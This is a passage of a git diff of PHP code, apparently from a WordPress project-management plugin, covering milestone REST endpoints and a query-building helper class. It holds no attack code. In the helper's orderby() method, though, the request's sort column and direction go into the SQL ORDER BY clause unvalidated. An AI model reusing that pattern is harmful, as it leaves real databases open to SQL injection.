pm_get_text('success_messages.milestone_created') - ]; - $response = $self->get_response( $resource, $message ); - - do_action( 'cpm_milestone_new', $milestone->id, $data[ 'project_id' ], $data ); - do_action("pm_after_new_milestone", $response, $data ); - - return $response; - } - - public function store( WP_REST_Request $request ) { - // Grab non empty user input - $data = $this->extract_non_empty_values( $request ); - $is_private = $request->get_param( 'privacy' ); - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - // Milestone achieve date - $achieve_date = $request->get_param( 'achieve_date' ); - - // Create a milestone - $milestone = Milestone::create( $data ); - - // Set 'achieve_date' as milestone meta data - Meta::create([ - 'entity_id' => $milestone->id, - 'entity_type' => 'milestone', - 'meta_key' => 'achieve_date', - 'meta_value' => $achieve_date ? date( 'Y-m-d H:i:s', strtotime( $achieve_date ) ) : null, - 'project_id' => $milestone->project_id, - ]); - - do_action("pm_new_milestone_before_response", $milestone, $request->get_params() ); - // Transform milestone data - $resource = new Item( $milestone, new Milestone_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.milestone_created') - ]; - $response = $this->get_response( $resource, $message ); - - do_action( 'cpm_milestone_new', $milestone->id, $request->get_param( 'project_id' ), $request->get_params() ); - do_action("pm_after_new_milestone", $response, $request->get_params() ); - - return $response; - } - - public function update( WP_REST_Request $request ) { - // Grab non empty user data - $data = $this->extract_non_empty_values( $request ); - $achieve_date = $request->get_param( 'achieve_date' ); - $status = $request->get_param( 'status' ); - - $is_private = $request->get_param( 'privacy' ); - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - - // Set project id from url parameter - $project_id = $request->get_param( 'project_id' ); - - // Set milestone id from url parameter - $milestone_id = $request->get_param( 'milestone_id' ); - - // Find milestone associated with project id and milestone id - $milestone = Milestone::where( 'id', $milestone_id ) - ->where( 'project_id', $project_id ) - ->first(); - - if ( $milestone ) { - $milestone->update_model( $data ); - } - - if ( $milestone && $achieve_date ) { - $meta = Meta::firstOrCreate([ - 'entity_id' => $milestone->id, - 'entity_type' => 'milestone', - 'meta_key' => 'achieve_date', - 'project_id' => $milestone->project_id, - ]); - - $meta->meta_value = date( 'Y-m-d H:i:s', strtotime( $achieve_date ) ); - $meta->save(); - } - - do_action( 'cpm_milestone_update', $milestone_id, $project_id, $request->get_params() ); - do_action("pm_update_milestone_before_response", $milestone, $request->get_params() ); - $resource = new Item( $milestone, new Milestone_Transformer ); - - $message = [ - 'message' => pm_get_text('success_messages.milestone_updated') - ]; - - $response = $this->get_response( $resource, $message ); - do_action("pm_after_update_milestone", $response, $request->get_params() ); - - return $response; - } - - public function destroy( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $milestone_id = $request->get_param( 'milestone_id' ); - - $milestone = Milestone::where( 'id', $milestone_id ) - ->where( 'project_id', $project_id ) - ->first(); - - $milestone->boardables()->delete(); - $milestone->metas()->delete(); - $milestone->delete(); - - $message = [ - 'message' => pm_get_text('success_messages.milestone_deleted') - ]; - do_action( 'cpm_milestone_delete', $milestone_id, false ); - - return $this->get_response(false, $message); - } - public function privacy( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $milestone_id = $request->get_param( 'milestone_id' ); - $privacy = $request->get_param( 'is_private' ); - $milestone = Milestone::find( $milestone_id ); - $milestone->update_model( [ - 'is_private' => $privacy - ] ); - pm_update_meta( $milestone_id, $project_id, 'milestone', 'privacy', $privacy ); - return $this->get_response( NULL); - } -} +get_param( 'project_id' ); + $per_page = $request->get_param( 'per_page' ); + $status = $request->get_param( 'status' ); + $per_page = $per_page ? $per_page : -1; + + $page = $request->get_param( 'page' ); + $page = $page ? $page : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $milestones = Milestone::with('metas') + ->where( 'project_id', $project_id ); + + if ( ! empty( $status ) ) { + $milestones = $milestones->where( 'status', $status); + } + + $milestones = apply_filters("pm_milestone_index_query", $milestones, $project_id, $request ); + + if ( $per_page == '-1' ) { + $per_page = $milestones->count(); + } + + $milestones = $milestones->paginate( $per_page ); + + $milestone_collection = $milestones->getCollection(); + + $resource = new Collection( $milestone_collection, new Milestone_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $milestones ) ); + return $this->get_response( $resource ); + } + + private function get_milestone_collection( $metas = [] ) { + $milestones = []; + + foreach ($metas as $meta) { + $milestones[] = $meta->milestone; + } + + return $milestones; + } + + public function show( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $milestone_id = $request->get_param( 'milestone_id' ); + + $milestone = Milestone::where( 'id', $milestone_id ) + ->where( 'project_id', $project_id ); + $milestone = apply_filters( "pm_milestone_show_query", $milestone, $project_id, $request ); + $milestone = $milestone->first(); + if ( $milestone == NULL ) { + return $this->get_response( null, [ + 'message' => pm_get_text('success_messages.no_element') + ] ); + } + $resource = new Item( $milestone, new Milestone_Transformer ); + + return $this->get_response( $resource ); + } + + public static function create_milestone( $data ) { + $self = self::getInstance(); + $is_private = $data[ 'privacy' ]; + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + // Milestone achieve date + $achieve_date = $data['achieve_date']; + + // Create a milestone + $milestone = Milestone::create( $data ); + + // Set 'achieve_date' as milestone meta data + Meta::create([ + 'entity_id' => $milestone->id, + 'entity_type' => 'milestone', + 'meta_key' => 'achieve_date', + 'meta_value' => $achieve_date ? date( 'Y-m-d H:i:s', strtotime( $achieve_date ) ) : null, + 'project_id' => $milestone->project_id, + ]); + + do_action("pm_new_milestone_before_response", $milestone, $data ); + // Transform milestone data + $resource = new Item( $milestone, new Milestone_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.milestone_created') + ]; + $response = $self->get_response( $resource, $message ); + + do_action( 'cpm_milestone_new', $milestone->id, $data[ 'project_id' ], $data ); + do_action("pm_after_new_milestone", $response, $data ); + + return $response; + } + + public function store( WP_REST_Request $request ) { + // Grab non empty user input + $data = $this->extract_non_empty_values( $request ); + $is_private = $request->get_param( 'privacy' ); + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + // Milestone achieve date + $achieve_date = $request->get_param( 'achieve_date' ); + + // Create a milestone + $milestone = Milestone::create( $data ); + + // Set 'achieve_date' as milestone meta data + Meta::create([ + 'entity_id' => $milestone->id, + 'entity_type' => 'milestone', + 'meta_key' => 'achieve_date', + 'meta_value' => $achieve_date ? date( 'Y-m-d H:i:s', strtotime( $achieve_date ) ) : null, + 'project_id' => $milestone->project_id, + ]); + + do_action("pm_new_milestone_before_response", $milestone, $request->get_params() ); + // Transform milestone data + $resource = new Item( $milestone, new Milestone_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.milestone_created') + ]; + $response = $this->get_response( $resource, $message ); + + do_action( 'cpm_milestone_new', $milestone->id, $request->get_param( 'project_id' ), $request->get_params() ); + do_action("pm_after_new_milestone", $response, $request->get_params() ); + + return $response; + } + + public function update( WP_REST_Request $request ) { + // Grab non empty user data + $data = $this->extract_non_empty_values( $request ); + $achieve_date = $request->get_param( 'achieve_date' ); + $status = $request->get_param( 'status' ); + + $is_private = $request->get_param( 'privacy' ); + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + // Set project id from url parameter + $project_id = $request->get_param( 'project_id' ); + + // Set milestone id from url parameter + $milestone_id = $request->get_param( 'milestone_id' ); + + // Find milestone associated with project id and milestone id + $milestone = Milestone::where( 'id', $milestone_id ) + ->where( 'project_id', $project_id ) + ->first(); + + if ( $milestone ) { + $milestone->update_model( $data ); + } + + if ( $milestone && $achieve_date ) { + $meta = Meta::firstOrCreate([ + 'entity_id' => $milestone->id, + 'entity_type' => 'milestone', + 'meta_key' => 'achieve_date', + 'project_id' => $milestone->project_id, + ]); + + $meta->meta_value = date( 'Y-m-d H:i:s', strtotime( $achieve_date ) ); + $meta->save(); + } + + do_action( 'cpm_milestone_update', $milestone_id, $project_id, $request->get_params() ); + do_action("pm_update_milestone_before_response", $milestone, $request->get_params() ); + $resource = new Item( $milestone, new Milestone_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.milestone_updated') + ]; + + $response = $this->get_response( $resource, $message ); + do_action("pm_after_update_milestone", $response, $request->get_params() ); + + return $response; + } + + public function destroy( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $milestone_id = $request->get_param( 'milestone_id' ); + + $milestone = Milestone::where( 'id', $milestone_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $milestone->boardables()->delete(); + $milestone->metas()->delete(); + $milestone->delete(); + + $message = [ + 'message' => pm_get_text('success_messages.milestone_deleted') + ]; + do_action( 'cpm_milestone_delete', $milestone_id, false ); + + return $this->get_response(false, $message); + } + public function privacy( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $milestone_id = $request->get_param( 'milestone_id' ); + $privacy = $request->get_param( 'is_private' ); + $milestone = Milestone::find( $milestone_id ); + $milestone->update_model( [ + 'is_private' => $privacy + ] ); + pm_update_meta( $milestone_id, $project_id, 'milestone', 'privacy', $privacy ); + return $this->get_response( NULL); + } +} diff --git a/src/Milestone/Helper/Milestone.php b/src/Milestone/Helper/Milestone.php index 4194f558b..ef07632d8 100644 --- a/src/Milestone/Helper/Milestone.php +++ b/src/Milestone/Helper/Milestone.php @@ -1,617 +1,617 @@ -'asc', 'id'=>desc] -// milestone_meta: 'total_task_milestones,total_tasks,total_complete_tasks,total_incomplete_tasks,total_discussion_boards,total_milestones,total_comments,total_files,total_activities' -// }, - -class Milestone { - private static $_instance; - private $query_params; - private $select; - private $join; - private $where; - private $limit; - private $orderby; - private $with; - private $milestones; - private $milestone_ids; - private $is_single_query = false; - - public static function getInstance() { - return new self(); - } - - function __construct() { - $this->set_table_name(); - } - - public static function get_task_milestones( WP_REST_Request $request ) { - $milestones = self::get_results( $request->get_params() ); - - wp_send_json( $milestones ); - } - - public static function get_results( $params = [] ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with() - ->meta(); - - $response = $self->format_milestones( $self->milestones ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format TaskMilestone data - * - * @param array $milestones - * - * @return array - */ - public function format_milestones( $milestones ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - // if ( ! is_array( $milestones ) ) { - // $response['data'] = $this->fromat_milestone( $milestones ); - - // return $response; - // } - - foreach ( $milestones as $key => $milestone ) { - $milestones[$key] = $this->fromat_milestone( $milestone ); - } - - $response['data'] = $milestones; - $response ['meta'] = $this->set_milestones_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_milestones_meta() { - return [ - 'pagination' => [ - 'total' => $this->found_rows, - 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) - ] - ]; - } - - public function fromat_milestone( $milestone ) { - - $items = [ - 'id' => (int) $milestone->id, - 'title' => $milestone->title, - 'description' => $milestone->description, - 'order' => (int) $milestone->order, - 'achieve_date' => format_date( $milestone->achieve_date ), - 'achieved_at' => format_date( $milestone->updated_at ), - 'status' => $milestone->status, - 'created_at' => format_date( $milestone->created_at ), - 'meta' => $milestone->meta - ]; - - //$items = apply_filters( 'pm_milestone_transform', $items, $milestone ); - - // $select_items = empty( $this->query_params['select'] ) ? null : $this->query_params['select']; - - // if ( ! is_array( $select_items ) && !is_null( $select_items ) ) { - // $select_items = str_replace( ' ', '', $select_items ); - // $select_items = explode( ',', $select_items ); - // } - - // if ( empty( $select_items ) ) { - // $items = $this->item_with( $items,$milestone ); - // $items = $this->item_meta( $items,$milestone ); - // return $items; - // } - - // foreach ( $items as $item_key => $item ) { - // if ( ! in_array( $item_key, $select_items ) ) { - // unset( $items[$item_key] ); - // } - // } - - $items = $this->item_with( $items, $milestone ); - //$items = $this->item_meta( $items, $milestone ); - - return apply_filters( 'pm_milestone_transform', $items, $milestone ); - } - - private function item_with( $items, $milestone ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - $milestone_with_items = array_intersect_key( (array) $milestone, array_flip( $with ) ); - - $items = array_merge( $items, $milestone_with_items ); - - return $items; - } - - - private function with() { - $this->achieve_date() - ->discussion_boards() - ->task_lists(); - - $this->milestones = apply_filters( 'pm_milestone_with',$this->milestones, $this->milestone_ids, $this->query_params ); - - return $this; - } - - private function discussion_boards() { - global $wpdb; - - if ( empty( $this->milestone_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'discussion_boards', $with ) || empty( $this->milestone_ids ) ) { - return $this; - } - - $tb_milestones = pm_tb_prefix() . 'pm_boardables'; - $milestone_format = pm_get_prepare_format( $this->milestone_ids ); - $query_data = $this->milestone_ids; - - $query = "SELECT DISTINCT bor.boardable_id as discussion_board_id, - bor.board_id as milestone_id - FROM $tb_milestones as bor - where bor.board_id IN ($milestone_format) - AND bor.board_type=%s - AND bor.boardable_type=%s"; - - array_push( $query_data, 'milestone', 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $discussion_board_ids = wp_list_pluck( $results, 'discussion_board_id' ); - - $discussion_boards = Discussion_Board::get_results([ - 'id' => $discussion_board_ids - ]); - - - $key_discussion_boards = []; - $discussion_boards['data'] = $discussion_boards['data']; - - foreach ( $discussion_boards['data'] as $key => $discussion_board ) { - $key_discussion_boards[$discussion_board['id']] = $discussion_board; - } - - foreach ( $results as $key => $result ) { - $discussion_boards[$result->milestone_id][] = $key_discussion_boards[$result->discussion_board_id]; - } - - foreach ( $this->milestones as $key => $milestone ) { - $milestone->discussion_boards['data'] = empty( $discussion_boards[$milestone->id] ) ? [] : $discussion_boards[$milestone->id]; - } - - return $this; - } - - private function task_lists() { - global $wpdb; - - if ( empty( $this->milestone_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'task_lists', $with ) || empty( $this->milestone_ids ) ) { - return $this; - } - - $tb_milestones = pm_tb_prefix() . 'pm_boardables'; - $milestone_format = pm_get_prepare_format( $this->milestone_ids ); - $query_data = $this->milestone_ids; - - $query = "SELECT DISTINCT bor.boardable_id as list_id, - bor.board_id as milestone_id - FROM $tb_milestones as bor - where bor.board_id IN ($milestone_format) - AND bor.board_type=%s - AND bor.boardable_type=%s"; - - array_push( $query_data, 'milestone', 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $list_ids = wp_list_pluck( $results, 'list_id' ); - - $lists = Task_List::get_results([ - 'id' => $list_ids - ]); - - - $key_lists = []; - - foreach ( $lists['data'] as $key => $list ) { - $key_lists[$list['id']] = $list; - } - - foreach ( $results as $key => $result ) { - $lists[$result->milestone_id][] = $key_lists[$result->list_id]; - } - - foreach ( $this->milestones as $key => $milestone ) { - $milestone->task_lists['data'] = empty( $lists[$milestone->id] ) ? [] : $lists[$milestone->id]; - } - - return $this; - } - - private function achieve_date() { - global $wpdb; - - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $milestone_format = pm_get_prepare_format( $this->milestone_ids ); - $query_data = $this->milestone_ids; - - $query = "SELECT DISTINCT mt.meta_value as achieve_date, mt.entity_id as milestone_id - FROM $tb_meta as mt - where mt.entity_id IN ($milestone_format) - AND mt.meta_key=%s"; - - array_push( $query_data, 'achieve_date' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $metas = []; - - foreach ( $results as $key => $result ) { - $milestone_id = $result->milestone_id; - unset( $result->milestone_id ); - $metas[$milestone_id] = $result; - } - - foreach ( $this->milestones as $key => $milestone ) { - $milestone->achieve_date = empty( $metas[$milestone->id] ) ? '' : $metas[$milestone->id]->achieve_date; - } - - return $this; - } - - private function meta() { - $this->get_pm_meta_table_value() - ->total_task_list() - ->total_discussion_board(); - - - return $this; - } - - private function total_task_list() { - global $wpdb; - - if ( empty( $this->milestone_ids ) ) { - return $this; - } - - $metas = []; - $tb_milestones = pm_tb_prefix() . 'pm_boardables'; - $milestone_format = pm_get_prepare_format( $this->milestone_ids ); - $query_data = $this->milestone_ids; - - $query = "SELECT DISTINCT count(bor.boardable_id) as total_task_list, - bor.board_id as milestone_id - FROM $tb_milestones as bor - where bor.board_id IN ($milestone_format) - AND bor.board_type=%s - AND bor.boardable_type=%s - group by bor.boardable_id"; - - array_push( $query_data, 'milestone', 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $milestone_id = $result->milestone_id; - unset($result->milestone_id); - $metas[$milestone_id] = $result->total_task_list; - } - - foreach ( $this->milestones as $key => $milestone ) { - $milestone->meta['total_task_list'] = empty( $metas[$milestone->id] ) ? 0 : (int) $metas[$milestone->id]; - } - - return $this; - } - - private function total_discussion_board() { - - global $wpdb; - - if ( empty( $this->milestone_ids ) ) { - return $this; - } - - $metas = []; - $tb_milestones = pm_tb_prefix() . 'pm_boardables'; - $milestone_format = pm_get_prepare_format( $this->milestone_ids ); - $query_data = $this->milestone_ids; - - $query = "SELECT DISTINCT count(bor.boardable_id) as total_discussion_board, - bor.board_id as milestone_id - FROM $tb_milestones as bor - where bor.board_id IN ($milestone_format) - AND bor.board_type=%s - AND bor.boardable_type=%s - group by bor.boardable_id"; - - array_push( $query_data, 'milestone', 'discussion_board' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $milestone_id = $result->milestone_id; - unset($result->milestone_id); - $metas[$milestone_id] = $result->total_discussion_board; - } - - foreach ( $this->milestones as $key => $milestone ) { - $milestone->meta['total_discussion_board'] = empty( $metas[$milestone->id] ) ? 0 : (int) $metas[$milestone->id]; - } - - return $this; - } - - private function get_pm_meta_table_value() { - if ( empty( $this->milestone_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $milestone_format = pm_get_prepare_format( $this->milestone_ids ); - $query_data = $this->milestone_ids; - - $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id - FROM $tb_meta - WHERE $tb_meta.entity_id IN ($milestone_format) - AND $tb_meta.entity_type = %s "; - - array_push( $query_data, 'milestone' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $milestone_id = $result->entity_id; - unset( $result->entity_id ); - $metas[$milestone_id][] = $result; - } - - foreach ( $this->milestones as $key => $milestone ) { - $filter_metas = empty( $metas[$milestone->id] ) ? [] : $metas[$milestone->id]; - - foreach ( $filter_metas as $key => $filter_meta ) { - $milestone->meta[$filter_meta->meta_key] = $filter_meta->meta_value; - } - } - - return $this; - } - - private function join() { - return $this; - } - - private function where() { - - $this->where_id() - ->where_project_id() - ->where_title(); - - return $this; - } - - /** - * Filter milestone by ID - * - * @return class object - */ - private function where_id() { - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - global $wpdb; - $format = pm_get_prepare_format( $id ); - $format_ids = pm_get_prepare_data( $id ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.id IN ($format)", $format_ids ); - - if ( count( $format_ids ) == 1 ) { - $this->is_single_query = true; - } - - return $this; - } - - /** - * Filter task by title - * - * @return class object - */ - private function where_title() { - global $wpdb; - $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; - - if ( empty( $title ) ) { - return $this; - } - - // $this->where .= " AND {$this->tb_milestone}.title LIKE '%$title%'"; - $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.title LIKE %s", '%'.$title.'%' ); - - return $this; - } - - private function where_project_id() { - global $wpdb; - $id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - if ( is_array( $id ) ) { - //$query_id = implode( ',', $id ); - //$this->where .= " AND {$this->tb_milestone}.project_id IN ($query_id)"; - $query_format = pm_get_prepare_format( $id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.project_id IN ($query_format)", $id ); - } - - if ( !is_array( $id ) ) { - // $this->where .= " AND {$this->tb_milestone}.project_id = $id"; - $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.project_id IN (%d)", $id ); - } - - return $this; - } - - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'pm_boards'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - private function get_per_page() { - - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return intval( $per_page ); - } - - return 10; - } - - private function get() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_milestone}.* - FROM {$this->tb_milestone} - {$this->join} - WHERE %d=%d {$this->where} AND $this->tb_milestone.type=%s - {$this->orderby} {$this->limit} "; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1, 'milestone' ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - $this->milestones = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->milestone_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->milestone_ids = [$results->id]; - } - - return $this; - } - - private function set_table_name() { - $this->tb_project = pm_tb_prefix() . 'pm_projects'; - $this->tb_milestone = pm_tb_prefix() . 'pm_boards'; - } -} +'asc', 'id'=>desc] +// milestone_meta: 'total_task_milestones,total_tasks,total_complete_tasks,total_incomplete_tasks,total_discussion_boards,total_milestones,total_comments,total_files,total_activities' +// }, + +class Milestone { + private static $_instance; + private $query_params; + private $select; + private $join; + private $where; + private $limit; + private $orderby; + private $with; + private $milestones; + private $milestone_ids; + private $is_single_query = false; + + public static function getInstance() { + return new self(); + } + + function __construct() { + $this->set_table_name(); + } + + public static function get_task_milestones( WP_REST_Request $request ) { + $milestones = self::get_results( $request->get_params() ); + + wp_send_json( $milestones ); + } + + public static function get_results( $params = [] ) { + $self = self::getInstance(); + $self->query_params = $params; + + $self->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with() + ->meta(); + + $response = $self->format_milestones( $self->milestones ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format TaskMilestone data + * + * @param array $milestones + * + * @return array + */ + public function format_milestones( $milestones ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + // if ( ! is_array( $milestones ) ) { + // $response['data'] = $this->fromat_milestone( $milestones ); + + // return $response; + // } + + foreach ( $milestones as $key => $milestone ) { + $milestones[$key] = $this->fromat_milestone( $milestone ); + } + + $response['data'] = $milestones; + $response ['meta'] = $this->set_milestones_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_milestones_meta() { + return [ + 'pagination' => [ + 'total' => $this->found_rows, + 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) + ] + ]; + } + + public function fromat_milestone( $milestone ) { + + $items = [ + 'id' => (int) $milestone->id, + 'title' => $milestone->title, + 'description' => $milestone->description, + 'order' => (int) $milestone->order, + 'achieve_date' => format_date( $milestone->achieve_date ), + 'achieved_at' => format_date( $milestone->updated_at ), + 'status' => $milestone->status, + 'created_at' => format_date( $milestone->created_at ), + 'meta' => $milestone->meta + ]; + + //$items = apply_filters( 'pm_milestone_transform', $items, $milestone ); + + // $select_items = empty( $this->query_params['select'] ) ? null : $this->query_params['select']; + + // if ( ! is_array( $select_items ) && !is_null( $select_items ) ) { + // $select_items = str_replace( ' ', '', $select_items ); + // $select_items = explode( ',', $select_items ); + // } + + // if ( empty( $select_items ) ) { + // $items = $this->item_with( $items,$milestone ); + // $items = $this->item_meta( $items,$milestone ); + // return $items; + // } + + // foreach ( $items as $item_key => $item ) { + // if ( ! in_array( $item_key, $select_items ) ) { + // unset( $items[$item_key] ); + // } + // } + + $items = $this->item_with( $items, $milestone ); + //$items = $this->item_meta( $items, $milestone ); + + return apply_filters( 'pm_milestone_transform', $items, $milestone ); + } + + private function item_with( $items, $milestone ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + $milestone_with_items = array_intersect_key( (array) $milestone, array_flip( $with ) ); + + $items = array_merge( $items, $milestone_with_items ); + + return $items; + } + + + private function with() { + $this->achieve_date() + ->discussion_boards() + ->task_lists(); + + $this->milestones = apply_filters( 'pm_milestone_with',$this->milestones, $this->milestone_ids, $this->query_params ); + + return $this; + } + + private function discussion_boards() { + global $wpdb; + + if ( empty( $this->milestone_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'discussion_boards', $with ) || empty( $this->milestone_ids ) ) { + return $this; + } + + $tb_milestones = pm_tb_prefix() . 'pm_boardables'; + $milestone_format = pm_get_prepare_format( $this->milestone_ids ); + $query_data = $this->milestone_ids; + + $query = "SELECT DISTINCT bor.boardable_id as discussion_board_id, + bor.board_id as milestone_id + FROM $tb_milestones as bor + where bor.board_id IN ($milestone_format) + AND bor.board_type=%s + AND bor.boardable_type=%s"; + + array_push( $query_data, 'milestone', 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $discussion_board_ids = wp_list_pluck( $results, 'discussion_board_id' ); + + $discussion_boards = Discussion_Board::get_results([ + 'id' => $discussion_board_ids + ]); + + + $key_discussion_boards = []; + $discussion_boards['data'] = $discussion_boards['data']; + + foreach ( $discussion_boards['data'] as $key => $discussion_board ) { + $key_discussion_boards[$discussion_board['id']] = $discussion_board; + } + + foreach ( $results as $key => $result ) { + $discussion_boards[$result->milestone_id][] = $key_discussion_boards[$result->discussion_board_id]; + } + + foreach ( $this->milestones as $key => $milestone ) { + $milestone->discussion_boards['data'] = empty( $discussion_boards[$milestone->id] ) ? [] : $discussion_boards[$milestone->id]; + } + + return $this; + } + + private function task_lists() { + global $wpdb; + + if ( empty( $this->milestone_ids ) ) { + return $this; + } + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'task_lists', $with ) || empty( $this->milestone_ids ) ) { + return $this; + } + + $tb_milestones = pm_tb_prefix() . 'pm_boardables'; + $milestone_format = pm_get_prepare_format( $this->milestone_ids ); + $query_data = $this->milestone_ids; + + $query = "SELECT DISTINCT bor.boardable_id as list_id, + bor.board_id as milestone_id + FROM $tb_milestones as bor + where bor.board_id IN ($milestone_format) + AND bor.board_type=%s + AND bor.boardable_type=%s"; + + array_push( $query_data, 'milestone', 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $list_ids = wp_list_pluck( $results, 'list_id' ); + + $lists = Task_List::get_results([ + 'id' => $list_ids + ]); + + + $key_lists = []; + + foreach ( $lists['data'] as $key => $list ) { + $key_lists[$list['id']] = $list; + } + + foreach ( $results as $key => $result ) { + $lists[$result->milestone_id][] = $key_lists[$result->list_id]; + } + + foreach ( $this->milestones as $key => $milestone ) { + $milestone->task_lists['data'] = empty( $lists[$milestone->id] ) ? [] : $lists[$milestone->id]; + } + + return $this; + } + + private function achieve_date() { + global $wpdb; + + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $milestone_format = pm_get_prepare_format( $this->milestone_ids ); + $query_data = $this->milestone_ids; + + $query = "SELECT DISTINCT mt.meta_value as achieve_date, mt.entity_id as milestone_id + FROM $tb_meta as mt + where mt.entity_id IN ($milestone_format) + AND mt.meta_key=%s"; + + array_push( $query_data, 'achieve_date' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $metas = []; + + foreach ( $results as $key => $result ) { + $milestone_id = $result->milestone_id; + unset( $result->milestone_id ); + $metas[$milestone_id] = $result; + } + + foreach ( $this->milestones as $key => $milestone ) { + $milestone->achieve_date = empty( 